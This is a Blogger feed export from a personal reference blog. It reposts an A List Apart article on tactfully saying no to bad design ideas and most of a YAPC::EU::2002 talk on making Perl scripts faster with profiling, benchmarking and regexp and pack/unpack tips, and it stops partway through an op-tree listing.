tag:blogger.com,1999:blog-347676652024-03-13T20:44:02.559-07:00Personal Reference BlogHere I will update with some of the articles and stuff that I am currently researching or interested in.Unknownnoreply@blogger.comBlogger218125tag:blogger.com,1999:blog-34767665.post-48603016588555920152010-09-02T16:26:00.000-07:002010-09-02T16:27:46.955-07:00FOLLOW: No One Nos: Learning to Say No to Bad IdeasA great article! I love it.<br />http://www.alistapart.com/articles/no-one-nos-learning-to-say-no-to-bad-ideas/<br /><br />Quote:<br />No One Nos: Learning to Say No to Bad Ideas<br />by Whitney Hess<br /><br /> * Published in: Business, Project Management and Workflow<br /> *<br /><br /> Discuss this article »<br /> | Share this article »<br /><br />No One Nos: Learning to Say No to Bad Ideas<br /><br />No. One word, a complete sentence. We all learned to say it around our first birthday, so why do we have such a hard time saying it now when it comes to our work?<br /><br />Guilt. Fear. Pressure. Doubt. As we grow up, we begin to learn that not doing what others expect of us can lead to all sorts of negative consequences. It becomes easier to concede to their demands than to stand up for ourselves and for what is right.<br />Need to no<br /><br />As a user experience designer, I have made a career out of having to say No. It is my job to put an end to bad design practices within an organization before I can make any progress on improving the lives of our customers. And it’s rarely easy.<br /><br />My client says, “I want to build a spaceship!” I say, “No, we need to make a kite.”<br /><br />My client says, “We need to keep that space blank for my next genius idea!” I say, “No, we’ll find space for your idea once you have one.”<br /><br />My client says, “I want this done tomorrow!” I say, “No, it will take a month.”<br /><br />I am a human brake pad.<br /><br />Each one of us brings an area of specialization to our projects, and it is our responsibility to exhibit that expertise. If you don’t know anything that no one else on your team knows, then it’s probably time to walk away. But if you do, it is your duty to assert that capability and share your knowledge for the betterment of the final product.<br /><br />Mahatma Gandhi said, “A ‘no’ uttered from deepest conviction is better and greater than a ‘yes’ merely uttered to please, or what is worse, to avoid trouble.” As people who create stuff with the hope that other people will use it, it is outright cowardly for us to protect ourselves before defending the needs of our users.<br />When to no<br /><br />When I’m incredibly passionate about something, I tend to be stubborn. And when I recognize a problem, I’m not one to keep it inside. As a result, I have had some situations with teammates and clients in which I have been rather abrasive with my delivery of a no. Fearful that I won’t be heard or understood, I have overemphasized my position to the point that people don’t hear what I said but how how I said it.<br /><br />Having been made aware of this issue and given the opportunity to fix it, I can freely admit now that it was getting in the way of my ultimate goal—helping people. As practitioners in design and development, there are many common difficult situations in which we may find ourselves, and there are tactful ways to handle them. Perhaps you will recognize a few of the following.<br />Citing best practices<br /><br />When you’re hired to serve a specific function on your team but are asked to do something you’re not comfortable with, often the best way to say no is to simply educate the other on best practices.<br /><br />Kelly Andrews, owner of 1618design, recently received a client request to remove a quick e-mail-only mailing list signup from their site in favor of a full-page signup form.<br /><br />Fearing that this would significantly decrease their number of subscribers, Andrews informed them that it is common practice for websites to include a quick subscribe since most people don’t want to spend the time filling out a form. A simple but powerful business case: The shorter option “would allow for immediate capture of interested people,” he explained. And they were sold. They hadn’t considered that before, but once they had that information, it armed them with the power to make a better choice. “The client was happy with the decision,” Andrews said. “She thanked me for being an expert and educating her instead of just doing what was asked.”<br />Data reigns<br /><br />When Samantha LeVan worked as a user experience designer at Corel, she was surrounded by a large team of engineers who were also accustomed to doing design. Most of the time, they had really interesting ideas that LeVan enjoyed riffing off of, but now and then they got stuck in the details and LeVan would have to make her case.<br /><br />In one particular design, one of the engineers insisted that a drop-down component was necessary for the selection of three options. LeVan urged that three radio buttons would be more appropriate, but the engineer was unconvinced. The disagreement went on for a few days before LeVan realized that she needed data to support her case.<br /><br />She turned to the CogTool—a UI prototyping tool that automatically evaluates the effectiveness of a design based on a “predictive human performance model”—developed at Carnegie Mellon University. The results showed that expert use task time was dramatically reduced with radio buttons over drop-downs. Seeing the facts, the engineer relented.<br /><br />“Your opinion won’t matter,” says LeVan. “It’s important that you prove your point with numbers.”<br />Pricing yourself out<br /><br />Sometimes the best way to say no to bad design is not to take on the project in the first place. When Charlene Jaszewski, a freelance content strategist, was recently asked to help a friend’s brother with a website for his concrete company, she knew he had a limited budget but expected that she could help him limit the scope.<br /><br />“Besides wanting ‘flying’ menus on each and every page, in a different style for each page,” Jaszewski recounts, “he wanted huge orange diamonds for the menus on the front page, and to top it off, he wanted a custom-made animation of a concrete truck on the front page and in the sidebar of every other page—the barrel rolling around with the logo of his company.” Now that just gives me shivers.<br /><br />Jaszewski advised that his customers would be more interested in some relevant content, such as a portfolio of his previous work, but he was convinced that he needed lots of flashy extras to impress his visitors. And he wouldn’t give up.<br /><br />Not wanting to overtly turn down the work, Jaszewski contacted animators and Flash designers, and came back with a price that was five times the business owner’s budget. He demanded a lower price, but Jaszewski just apologized and said that that’s what she would have to pay the appropriate people to do the work. Unsurprisingly, he took a pass, and Jaszewski later found out that he’d been trying to get his dream site built for the past eight years. Happily, she wouldn’t be the one to give it to him.<br />Shifting focus from what to who<br /><br />In April 2009, Lynne Polischuik, an independent user experience designer, was hired by an early stage startup—a private photo-sharing web app—to act as project manager to get them to launch. The product was intended to be an alternative to Facebook for parents who desired private groups of friends with whom to safely share photos of their young children.<br /><br />Because the team envisioned the product as appealing to all members of the family, they wanted people of all ages to be able to use the app—including children and elderly grandparents without e-mail addresses. To allow for this, they developed a login system that relied extensively on cookies and technological trickery to provide secure access without requiring the user to enter credentials. Things were constantly breaking, and as a result, no one could log in.<br /><br />Polischuik felt she had to step in. “I ended up making the argument that they needed to design not for extreme edge cases, but for the more probable, and revenue generating, ones,” she explains. “Would someone who doesn’t have an e-mail address be savvy enough to want to share images and photos on the web? Probably not.”<br /><br />To sway the team, Polischuik took a step back and did some user research to develop personas to guide their decisions. Once the team was refocused on who they were really designing for, they were able to move forward more strategically. As disagreements in execution came up along the way, she would do a few quick usability tests of the proposed idea, and let the team see with their own eyes how their prospective customers struggled. By reframing the argument away from their opinions and demonstrating the negative impact on the user, the opposition was quickly defeated.<br />How to no<br /><br />Last October while on the phone with Harry Max—a pioneer in the field of Information Architecture, co-founder of Virtual Vineyards/Wine.com, (the first secure shopping system on the web), and now an executive coach—I complained about having way too much on my plate and desperately needing someone to give me a break.<br /><br />He made me realize that it was actually I who was to blame, taking on more than I could handle by not protecting my time, and recommended that I read The Power of a Positive No by William Ury.<br /><br />The book changed my life.<br /><br />Ury proposes a methodology for saying no “while getting to Yes.” He argues that our desire to say no is not to be contradictory, but rather to stand up for a deeper yes—what we believe to be true, right, virtuous, and necessary. And that instead of making our defense a negative one, we can frame it in a positive light that is more likely to lead to a favorable outcome.<br /><br />The following may sound really corny, but bear with me. It has completely transformed how I handle conflict and decision-making.<br /><br />The structure of a positive no is a “Yes! No. Yes? statement.” In Ury’s words: The first Yes! expresses your interest; the No asserts your power; and the second Yes? furthers your relationship. For example, you might say “I, too, want prospective customers to see our company as current and approachable, but I don’t feel that a dozen social media badges at the top of the page will help us achieve that. What if we came up with a few alternative approaches and chose the most effective one together?”<br /><br />He advocates not for just delivering your no in that manner, but also preparing for it and following through on it in the same way. Without a plan and without continued action, your assertion is a lot less believable—and a lot less likely to work.<br /><br />Some of the most powerful takeaways from the book just might help you when it comes time for you to fight the good fight.<br /><br /> * Never say no immediately. Don’t react in the heat of the moment, or you might say something you don’t really mean. Things are rarely as urgent as we believe them to be, so take a step back, go to your quiet place, and really think through the issue at hand. Not only will your argument be clearer once you’ve had a chance to rehearse it, but it’s more likely the other will be ready to hear it.<br /> * Be specific in describing your interests. When saying no, it’s better to describe what you’re for rather than what you’re against. Instead of just maintaining a position, help the other person to understand why you are concerned and what you’re trying to protect. You may just find that you share the same goal, and can work together to find the right solution.<br /> * Have a plan B. There will be times that other people just won’t take your no for an answer. So you’re going to need a plan B as a last resort. Are you going to go over the person’s head? Are you going to prevent the project from moving forward? Are you going to quit? By exploring what you’re truly prepared to do ahead of time, you’ll have considerably more confidence to stand your ground and you won’t be afraid of what might come next.<br /> * Express your need without neediness. Desperation is never attractive and won’t get you anywhere. Present your case with conviction and matter-of-factness. Does your assertion cease to be true if the other person refuses to agree? No. So don’t act like it does. Needing the other to comply makes you look unsure and dependent, diminishing yourself and putting them in a position of power.<br /> * Present the facts and let the other draw their own conclusions. I’d venture to guess that most of the time you’re working with people who are pretty smart, pretty logical, and pretty well-intentioned. Perhaps they just don’t have all of the information that you do. Instead of telling them what to think, it is more useful to provide the necessary facts on which they can base their own judgment. Sometimes allowing the other person to feel like the decision was partially their own will help you get your way.<br /> * The shorter it is, the stronger it is. Pascal famously said, “I wrote you a long letter because I didn’t have time to make it shorter.” The longer the argument, the sloppier and less well-thought out it appears. You don’t need five reasons why something won’t work; just one good one will do.<br /> * As you close one door, open another. Don’t be a wet blanket. If you strongly believe that something shouldn’t be done, devise an alternative that the team can get behind. You aren’t helping anyone—let alone yourself—if you simply derail the project with your objections. Being a team player instead of a contrarian will help build trust and respect for your ideas.<br /> * Be polite. Ninety-nine times out of 100 we’re talking about issues of mild discomfort and dissatisfaction of our users, not life-or-death issues. There’s no reason to raise your voice, use inappropriate language, or cut anyone down. When you do, you prevent people from hearing the essence of what you’re trying to communicate. So keep your cool, be kind, and give your teammates and clients the respect they deserve. Just because you might understand something that they don’t doesn’t mean you’re a better person than they are.<br /><br />Good to no<br /><br />By taking pride in your work and upholding your role on a team, you will help to create a positive environment for all involved. No doubt other people will follow in your footsteps, and each person will become more responsible for themselves and for the greater good of the project. You’ll be seen as more professional, more authoritative, and more reliable.<br /><br />Also consider the possibility that you may be steamrolling over other people’s ideas, and they’re too afraid to speak up. One of my favorite sayings is: “God gave us two ears and one mouth to use in proportion.” Let this be a reminder not only to say no, but to be willing to hear no, and to encourage others to do the same.Unknownnoreply@blogger.com179tag:blogger.com,1999:blog-34767665.post-1979094346484999472010-07-13T10:47:00.001-07:002010-07-13T10:48:40.927-07:00Perl optimization articleWhat a great article summarizing the optimization of perl scripting. Take a look here:<br /><a href="http://www.flirble.org/~nick/P/Fast_Enough/">http://www.flirble.org/~nick/P/Fast_Enough/</a><br /><br />Or Quoted here:<br /> * When perl is not quite fast enough<br /> *<br /> o Introduction<br /> o Obvious things<br /> o Compromises<br /> o Banish the demons of stupidity<br /> o Intermission<br /> o Tests<br /> o What causes slowness<br /> o Step by step<br /> o Small easy things<br /> o Needless importing is slow<br /> o regexps<br /> o Devel::DProf<br /> o Benchmark<br /> o What causes slowness in perl?<br /> o Ops are bad, m'kay<br /> o Memoize<br /> o Miscellaneous<br /> o yay for y<br /> o Ops are bad, m'kay<br /> o How to make perl fast enough<br /><br />When perl is not quite fast enough<br /><br />This is the script for my talk at YAPC::EU::2002. It's not a transcript of what I actually said; rather it collects together the notes that were in the pod source to the slides, the notes scribbled on various bits of paper, the notes that were only in my head, and tries to make a coherent text. I've also tried to add in the useful feedback I got - sometimes I can even remember who said it and so give them credit.<br /><br />The slides are here, and hopefully it will be obvious where the slide changes are.<br />Introduction<br /><br />So you have a perl script. And it's too slow. And you want to do something about it. This is a talk about what you can do to speed it up, and also how you try to avoid the problem in the first place.<br />Obvious things<br /><br />Find better algorithm<br /> Your code runs in the most efficient way that you can think of. But maybe someone else looked at the problem from a completely different direction and found an algorithm that is 100 times faster. Are you sure you have the best algorithm? Do some research. <br />Throw more hardware at it<br /> If the program doesn't have to run on many machines may be cheaper to throw more hardware at it. After all, hardware is supposed to be cheap and programmers well paid. Perhaps you can gain performance by tuning your hardware better; maybe compiling a custom kernel for your machine will be enough.<br />mod_perl<br /> For a CGI script that I wrote, I found that even after I'd shaved everything off it that I could, the server could still only serve 2.5 per second. The same server running the same script under mod_perl could serve 25 per second. That's a factor of 10 speedup for very little effort. And if your script isn't suitable for running under mod_perl there's also fastcgi (which CGI.pm supports). And if your script isn't a CGI, you could look at the persistent perl daemon, package PPerl on CPAN.<br />Rewrite in C, er C++, sorry Java, I mean C#, oops no ...<br /> Of course, one final "obvious" solution is to re-write your perl program in a language that runs as native code, such as C, C++, Java, C# or whatever is currently flavour of the month. <br /><br />But these may not be practical or politically acceptable solutions.<br />Compromises<br /><br />So you can compromise.<br /><br />XS<br /> You may find that 95% of the time is spent in 5% of the code, doing something that perl is not that efficient at, such as bit shifting. So you could write that bit in C, leave the rest in perl, and glue it together with XS. But you'd have to learn XS and the perl API, and that's a lot of work.<br />Inline<br /> Or you could use Inline. If you have to manipulate perl's internals then you'll still have to learn perl's API, but if all you need is to call out from perl to your pure C code, or someone else's C library then Inline makes it easy.<br /><br /> Here's my perl script making a call to a perl function rot32. And here's a C function rot32 that takes 2 integers, rotates the first by the second, and returns an integer result. That's all you need! And you run it and it works.<br /><br /> #!/usr/local/bin/perl -w<br /> use strict;<br /> <br /> printf "$_:\t%08X\t%08X\n", rot32 (0xdead, $_), rot32 (0xbeef, -$_)<br /> foreach (0..31);<br /> <br /> use Inline C => <<'EOC';<br /> <br /> unsigned rot32 (unsigned val, int by) {<br /> if (by >= 0)<br /> return (val >> by) | (val << (32 - by));<br /> return (val << -by) | (val >> (32 + by));<br /> }<br /> EOC<br /> __END__<br /><br /> 0: 0000DEAD 0000BEEF<br /> 1: 80006F56 00017DDE<br /> 2: 400037AB 0002FBBC<br /> 3: A0001BD5 0005F778<br /> 4: D0000DEA 000BEEF0<br /> ...<br /><br />Compile your own perl?<br /> Are you running your script on the perl supplied by the OS? Compiling your own perl could make your script go faster. For example, when perl is compiled with threading, all its internal variables are made thread safe, which slows them down a bit. If the perl is threaded, but you don't use threads then you're paying that speed hit for no reason. Likewise, you may have a better compiler than the OS used. For example, I found that with gcc 3.2 some of my C code run 5% faster than with 2.9.5. [One of my helpful hecklers in the audience said that he'd seen a 14% speedup, (if I remember correctly) and if I remember correctly that was from recompiling the perl interpreter itself]<br />Different perl version?<br /> Try using a different perl version. Different releases of perl are faster at different things. If you're using an old perl, try the latest version. If you're running the latest version but not using the newer features, try an older version. <br /><br />Banish the demons of stupidity<br /><br />Are you using the best features of the language?<br /><br />hashes<br /> There's a Larry Wall quote - Doing linear scans over an associative array is like trying to club someone to death with a loaded Uzi.<br /><br /> I trust you're not doing that. But are you keeping your arrays nicely sorted so that you can do a binary search? That's fast. But using a hash should be faster.<br />regexps<br /> In languages without regexps you have to write explicit code to parse strings. perl has regexps, and re-writing with them may make things 10 times faster. Even using several with the \G anchor and the /gc flags may still be faster.<br /><br /> if ( /\G.../gc ) {<br /> ...<br /> } elsif ( /\G.../gc ) {<br /> ...<br /> } elsif ( /\G.../gc ) {<br /><br />pack and unpack<br /> pack and unpack have far too many features to remember. Look at the manpage - you may be able to replace entire subroutines with just one unpack.<br />undef<br /> undef. what do I mean undef?<br /><br /> Are you calculating something only to throw it away?<br /><br /> For example the script in the Encode module that compiles character conversion tables would print out a warning if it saw the same character twice. If you or I build perl we'll just let those build warnings scroll off the screen - we don't care - we can't do anything about it. And it turned out that keeping track of everything needed to generate those warnings was slowing things down considerably. So I added a flag to disable that code, and perl 5.8 defaults to use it, so it builds more quickly.<br /><br />Intermission<br /><br />Various helpful hecklers (most of London.pm who saw the talk (and I'm counting David Adler as part of London.pm as he's subscribed to the list)) wanted me to remind people that you really really don't want to be optimising unless you absolutely have to. You're making your code harder to maintain, harder to extend, and easier to introduce new bugs into. Probably you've done something wrong to get to the point where you need to optimise in the first place.<br /><br />I agree.<br /><br />Also, I'm not going to change the running order of the slides. There isn't a good order to try to describe things in, and some of the ideas that follow are actually more "good practice" than optimisation techniques, so possibly ought to come before the slides on finding slowness. I'll mark what I think are good habits to get into, and once you understand the techniques then I'd hope that you'd use them automatically when you first write code. That way (hopefully) your code will never be so slow that you actually want to do some of the brute force optimising I describe here.<br />Tests<br /><br />Must not introduce new bugs<br /> The most important thing when you are optimising existing working code is not to introduce new bugs.<br />Use your full regression tests :-)<br /> For this, you can use your full suite of regression tests. You do have one, don't you?<br /><br /> [At this point the audience is supposed to laugh nervously, because I'm betting that very few people are in this desirable situation of having comprehensive tests written]<br />Keep a copy of original program<br /> You must keep a copy of your original program. It is your last resort if all else fails. Check it into a version control system. Make an off site backup. Check that your backup is readable. You mustn't lose it.<br /> In the end, your ultimate test of whether you've not introduced new bugs while optimising is to check that you get identical output from the optimised version and the original. (With the optimised version taking less time). <br /><br />What causes slowness<br /><br />CPU<br /> It's obvious that if you script hogs the CPU for 10 seconds solid, then to make it go faster you'll need to reduce the CPU demand.<br />RAM<br /> A lesser cause of slowness is memory.<br /><br /> perl trades RAM for speed<br /> One of the design decisions Larry made for perl was to trade memory for speed, choosing algorithms that use more memory to run faster. So perl tends to use more memory.<br /> getting slower (relative to CPU)<br /> CPUs keep getting faster. Memory is getting faster too. But not as quickly. So in relative terms memory is getting slower. [Larry was correct to choose to use more memory when he wrote perl5 over 10 years ago. However, in the future CPU speed will continue to diverge from RAM speed, so it might be an idea to revisit some of the CPU/RAM design trade offs in parrot]<br /> memory like a pyramid<br /><br /> You can never have enough memory, and it's never fast enough.<br /><br /> Computer memory is like a pyramid. At the point you have the CPU and its registers, which are very small and very fast to access. Then you have 1 or more levels of cache, which is larger, close by and fast to access. Then you have main memory, which is quite large, but further away so slower to access. Then at the base you have disk acting as virtual memory, which is huge, but very slow.<br /><br /> Now, if your program is swapping out to disk, you'll realise, because the OS can tell you that it only took 10 seconds of CPU, but 60 seconds elapsed, so you know it spent 50 seconds waiting for disk and that's your speed problem. But if your data is big enough to fit in main RAM, but doesn't all sit in the cache, then the CPU will keep having to wait for data from main RAM. And the OS timers I described count that in the CPU time, so it may not be obvious that memory use is actually your problem.<br /><br /> This is the original code for the part of the Encode compiler (enc2xs) that generates the warnings on duplicate characters:<br /><br /> if (exists $seen{$uch}) {<br /> warn sprintf("U%04X is %02X%02X and %02X%02X\n",<br /> $val,$page,$ch,@{$seen{$uch}});<br /> }<br /> else {<br /> $seen{$uch} = [$page,$ch];<br /> }<br /><br /> It uses the hash %seen to remember all the Unicode characters that it has processed. The first time that it meets a character it won't be in the hash, the exists is false, so the else block executes. It stores an arrayref containing the code page and character number in that page. That's three things per character, and there are a lot of characters in Chinese.<br /><br /> If it ever sees the same Unicode character again, it prints a warning message. The warning message is just a string, and this is the only place that uses the data in %seen. So I changed the code - I pre-formatted that bit of the error message, and stored a single scalar rather than the three:<br /><br /> if (exists $seen{$uch}) {<br /> warn sprintf("U%04X is %02X%02X and %04X\n",<br /> $val,$page,$ch,$seen{$uch});<br /> }<br /> else {<br /> $seen{$uch} = $page << 8 | $ch;<br /> }<br /><br /> That reduced the memory usage by a third, and it runs more quickly.<br /><br />Step by step<br /><br />How do you make things faster? Well, this is something of a black art, down to trial and error. I'll expand on aspects of these 4 points in the next slides.<br /><br />What might be slow?<br /> You need to find things that are actually slow. It's no good wasting your effort on things that are already fast - put it in where it will get maximum reward.<br />Think of re-write<br /> But not all slow things can be made faster, however much you swear at them, so you can only actually speed things up if you can figure out another way of doing the same thing that may be faster.<br />Try it<br /> But it may not. Check that it's faster and that it gives the same results.<br />Note results<br /> Either way, note your results - I find a comment in the code is good. It's important if an idea didn't work, because it stops you or anyone else going back and trying the same thing again. And it's important if a change does work, as it stops someone else (such as yourself next month) tidying up an important optimisation and losing you that hard won speed gain.<br /><br /> By having commented out slower code near the faster code you can look back and get ideas for other places you might optimise in the same way.<br /><br />Small easy things<br /><br />These are things that I would consider good practice, so you ought to be doing them as a matter of routine.<br /><br />AutoSplit and AutoLoader<br /> If you're writing modules use the AutoSplit and AutoLoader modules to make perl only load the parts of your module that are actually being used by a particular script. You get two gains - you don't waste CPU at start up loading the parts of your module that aren't used, and you don't waste the RAM holding the the structures that perl generates when it has compiled code. So your modules load more quickly, and use less RAM.<br /><br /> One potential problem is that the way AutoLoader brings in subroutines makes debugging confusing, which can be a problem. While developing, you can disable AutoLoader by commenting out the __END__ statement marking the start of your AutoLoaded subroutines. That way, they are loaded, compiled and debugged in the normal fashion.<br /><br /> ...<br /> 1;<br /> # While debugging, disable AutoLoader like this:<br /> # __END__<br /> ...<br /><br /> Of course, to do this you'll need another 1; at the end of the AutoLoaded section to keep use happy, and possibly another __END__.<br /><br /> Schwern notes that commenting out __END__ can cause surprises if the main body of your module is running under use strict; because now your AutoLoaded subroutines will suddenly find themselves being run under use strict. This is arguably a bug in the current AutoSplit - when it runs at install time to generate the files for AutoLoader to use it doesn't add lines such as use strict; or use warnings; to ensure that the split out subroutines are in the same environment as was current at the __END__ statement. This may be fixed in 5.10.<br /><br /> Elizabeth Mattijsen notes that there are different memory use versus memory shared issues when running under mod_perl, with different optimal solutions depending on whether your apache is forking or threaded.<br />=pod @ __END__<br /> If you are documenting your code with one big block of pod, then you probably don't want to put it at the top of the file. The perl parser is very fast at skipping pod, but it's not magic, so it still takes a little time. Moreover, it has to read the pod from disk in order to ignore it.<br /><br /> #!perl -w<br /> use strict;<br /><br /> =head1 You don't want to do that<br /><br /> big block of pod<br /><br /> =cut<br /><br /> ...<br /> 1;<br /> __END__<br /><br /> =head1 You want to do this<br /><br /> If you put your pod after an __END__ statement then the perl parser will never even see it. This will save a small amount of CPU, but if you have a lot of pod (>4K) then it might also mean that the last disk block(s) of a file are never even read in to RAM. This may gain you some speed. [A helpful heckler observed that modern raid systems may well be reading in 64K chunks, and modern OSes are getting good at read ahead, so not reading a block as a result of =pod @ __END__ may actually be quite rare.]<br /><br /> If you are putting your pod (and tests) next to their functions' code (which is probably a better approach anyway) then this advice is not relevant to you.<br /><br />Needless importing is slow<br /><br />Exporter is written in perl. It's fast, but not instant.<br /><br />Most modules are able to export lots of their functions and other symbols into your namespace to save you typing. If you have only one argument to use, such as<br /><br /> use POSIX; # Exports all the defaults<br /><br />then POSIX will helpfully export its default list of symbols into your namespace. If you have a list after the module name, then that is taken as a list of symbols to export. If the list is empty, no symbols are exported:<br /><br /> use POSIX (); # Exports nothing.<br /><br />You can still use all the functions and other symbols - you just have to use their full name, by typing POSIX:: at the front. Some people argue that this actually makes your code clearer, as it is now obvious where each subroutine is defined. Independent of that, it's faster:<br />use POSIX; use POSIX ();<br />0.516s 0.355s<br />use Socket; use Socket ();<br />0.270s 0.231s<br /><br />POSIX exports a lot of symbols by default. If you tell it to export none, it starts in 30% less time. Socket starts in 15% less time.<br />regexps<br /><br />avoid $&<br /> The $& variable returns the last text successfully matched in any regular expression. It's not lexically scoped, so unlike the match variables $1 etc it isn't reset when you leave a block. This means that to be correct perl has to keep track of it from any match, as perl has no idea when it might be needed. As it involves taking a copy of the matched string, it's expensive for perl to keep track of. If you never mention $&, then perl knows it can cheat and never store it. But if you (or any module) mentions $& anywhere then perl has to keep track of it throughout the script, which slows things down. So it's a good idea to capture the whole match explicitly if that's what you need.<br /><br /> $text =~ /.* rules/;<br /> $line = $&; # Now every match will copy $& - slow<br /><br /> $text =~ /(.* rules)/;<br /> $line = $1; # Didn't mention $& - fast<br /><br />avoid use English;<br /> use English gives helpful long names to all the punctuation variables. Unfortunately that includes aliasing $& to $MATCH which makes perl think that it needs to copy every match into $&, even if you script never actually uses it. In perl 5.8 you can say use English '-no_match_vars'; to avoid mentioning the naughty "word", but this isn't available in earlier versions of perl.<br />avoid needless captures<br /> Are you using parentheses for capturing, or just for grouping? Capturing involves perl copying the matched string into $1 etc, so it all you need is grouping use a the non-capturing (?:...) instead of the capturing (...).<br />/.../o;<br /> If you define scalars with building blocks for your regexps, and then make your final regexp by interpolating them, then your final regexp isn't going to change. However, perl doesn't realise this, because it sees that there are interpolated scalars each time it meets your regexp, and has no idea that their contents are the same as before. If your regexp doesn't change, then use the /o flag to tell perl, and it will never waste time checking or recompiling it.<br />but don't blow it<br /> You can use the qr// operator to pre-compile your regexps. It often is the easiest way to write regexp components to build up more complex regexps. Using it to build your regexps once is a good idea. But don't screw up (like parrot's assemble.pl did) by telling perl to recompile the same regexp every time you enter a subroutine:<br /><br /> sub foo {<br /> my $reg1 = qr/.../;<br /> my $reg2 = qr/... $reg1 .../;<br /><br /> You should pull those two regexp definitions out of the subroutine into package variables, or file scoped lexicals.<br /><br />Devel::DProf<br /><br />You find what is slow by using a profiler. People often guess where they think their program is slow, and get it hopelessly wrong. Use a profiler.<br /><br />Devel::DProf is in the perl core from version 5.6. If you're using an earlier perl you can get it from CPAN.<br /><br />You run your program with -d:DProf<br /><br /> perl5.8.0 -d:DProf enc2xs.orig -Q -O -o /dev/null ...<br /><br />which times things and stores the data in a file named tmon.out. Then you run dprofpp to process the tmon.out file, and produce meaningful summary information. This excerpt is the default length and format, but you can use options to change things - see the man page. It also seems to show up a minor bug in dprofpp, because it manages to total things up to get 106%. While that's not right, it doesn't affect the explanation.<br /><br /> Total Elapsed Time = 66.85123 Seconds<br /> User+System Time = 62.35543 Seconds<br /> Exclusive Times<br /> %Time ExclSec CumulS #Calls sec/call Csec/c Name<br /> 106. 66.70 102.59 218881 0.0003 0.0005 main::enter<br /> 49.5 30.86 91.767 6 5.1443 15.294 main::compile_ucm<br /> 19.2 12.01 8.333 45242 0.0003 0.0002 main::encode_U<br /> 4.74 2.953 1.078 45242 0.0001 0.0000 utf8::unicode_to_native<br /> 4.16 2.595 0.718 45242 0.0001 0.0000 utf8::encode<br /> 0.09 0.055 0.054 5 0.0109 0.0108 main::BEGIN<br /> 0.01 0.008 0.008 1 0.0078 0.0078 Getopt::Std::getopts<br /> 0.00 0.000 -0.000 1 0.0000 - Exporter::import<br /> 0.00 0.000 -0.000 3 0.0000 - strict::bits<br /> 0.00 0.000 -0.000 1 0.0000 - strict::import<br /> 0.00 0.000 -0.000 2 0.0000 - strict::unimport<br /><br />At the top of the list, the subroutine enter takes about half the total CPU time, with 200,000 calls, each very fast. That makes it a good candidate to optimise, because all you have to do is make a slight change that gives a small speedup, and that gain will be magnified 200,000 times. [It turned out that enter was tail recursive, and part of the speed gain I got was by making it loop instead]<br /><br />Third on the list is encode_U, which with 45,000 calls is similar, and worth looking at. [Actually, it was trivial code and in the real enc2xs I inlined it]<br /><br />utf8::unicode_to_native and utf8::encode are built-ins, so you won't be able to change that.<br /><br />Don't bother below there, as you've accounted for 90% of total program time, so even if you did a perfect job on everything else, you could only make the program run 10% faster.<br /><br />compile_ucm is trickier - it's only called 6 times, so it's not obvious where to look for what's slow. Maybe there's a loop with many iterations. But now you're guessing, which isn't good.<br /><br />One trick is to break it into several subroutines, just for benchmarking, so that DProf gives you times for different bits. That way you can see where the juicy bits to optimise are.<br /><br />Devel::SmallProf should do line by line profiling, but every time I use it it seems to crash.<br />Benchmark<br /><br />Now you've identified the slow spots, you need to try alternative code to see if you can find something faster. The Benchmark module makes this easy. A particularly good subroutine is cmpthese, which takes code snippets and plots a chart. cmpthese was added to Benchmark with perl 5.6.<br /><br />So to compare two code snippets orig and new by running each for 10000 times you'd do this:<br /><br /> use Benchmark ':all';<br /> <br /> sub orig {<br /> ...<br /> }<br /> <br /> sub new {<br /> ...<br /> }<br /> <br /> cmpthese (10000, { orig => \&orig, new => \&new } );<br /><br />Benchmark runs both, times them, and then prints out a helpful comparison chart:<br /><br /> Benchmark: timing 10000 iterations of new, orig...<br /> new: 1 wallclock secs ( 0.70 usr + 0.00 sys = 0.70 CPU) @ 14222.22/s (n=10000)<br /> orig: 4 wallclock secs ( 3.94 usr + 0.00 sys = 3.94 CPU) @ 2539.68/s (n=10000)<br /> Rate orig new<br /> orig 2540/s -- -82%<br /> new 14222/s 460% --<br /><br />and it's plain to see that my new code is over 4 times as fast as my original code.<br />What causes slowness in perl?<br /><br />Actually, I didn't tell the whole truth earlier about what causes slowness in perl. [And astute hecklers such as Philip Newton had already told me this]<br /><br />When perl compilers your program it breaks it down into a sequence of operations it must perform, which are usually referred to as ops. So when you ask perl to compute $a = $b + $c it actually breaks it down into these ops:<br /><br /> * Fetch $b onto the stack<br /> * Fetch $c onto the stack<br /> * Add the top two things on the stack together; write the result to the stack<br /> * Fetch the address of $a<br /> * Place the thing on the top of stack into that address<br /><br />Computers are fast at simple things like addition. But there is quite a lot of overhead involved in keeping track of "which op am I currently performing" and "where is the next op", and this book-keeping often swamps the time taken to actually run the ops. So often in perl it's the number of ops your program takes to perform its task that is more important than the CPU they use or the RAM it needs. The hit list is<br /><br /> 1. Ops<br /> 2. CPU<br /> 3. RAM<br /><br />So what were my example code snippets that I Benchmarked?<br /><br />It was code to split a line of hex (54726164696e67207374796c652f6d61) into groups of 4 digits (5472 6164 696e ...) , and convert each to a number<br /><br /> sub orig {<br /> map {hex $_} $line =~ /(....)/g;<br /> }<br /><br /> sub new {<br /> unpack "n*", pack "H*", $line;<br /> }<br /><br />The two produce the same results:<br />orig new<br />21618, 24932, 26990, 26400, 29556, 31084, 25903, 28001, 26990, 29793, 26990, 24930, 26988, 26996, 31008, 26223, 29216, 29552, 25957, 25646 21618, 24932, 26990, 26400, 29556, 31084, 25903, 28001, 26990, 29793, 26990, 24930, 26988, 26996, 31008, 26223, 29216, 29552, 25957, 25646<br /><br />but the first one is much slower. Why? Following the data path from right to left, it starts well with a global regexp, which is only one op and therefore a fast way to generate a list of the 4 digit groups. But that map block is actually an implicit loop, so for each 4 digit block it iterates round and repeatedly calls hex. Thats at least one op for every list item.<br /><br />Whereas the second one has no loops in it, implicit or explicit. It uses one pack to convert the hex temporarily into a binary string, and then one unpack to convert that string into a list of numbers. n is big endian 16 bit quantities. I didn't know that - I had to look it up. But when the profiler told me that this part of the original code was a performance bottleneck, the first think that I did was to look at the the pack docs to see if I could use some sort of pack/unpack as a speedier replacement.<br />Ops are bad, m'kay<br /><br />You can ask perl to tell you the ops that it generates for particular code with the Terse backend to the compiler. For example, here's a 1 liner to show the ops in the original code:<br /><br />$ perl -MO=Terse -e'map {hex $_} $line =~ /(....)/g;'<br /><br /> LISTOP (0x16d9c8) leave [1]<br /> OP (0x16d9f0) enter<br /> COP (0x16d988) nextstate<br /> LOGOP (0x16d940) mapwhile [2]<br /> LISTOP (0x16d8f8) mapstart<br /> OP (0x16d920) pushmark<br /> UNOP (0x16d968) null<br /> UNOP (0x16d7e0) null<br /> LISTOP (0x115370) scope<br /> OP 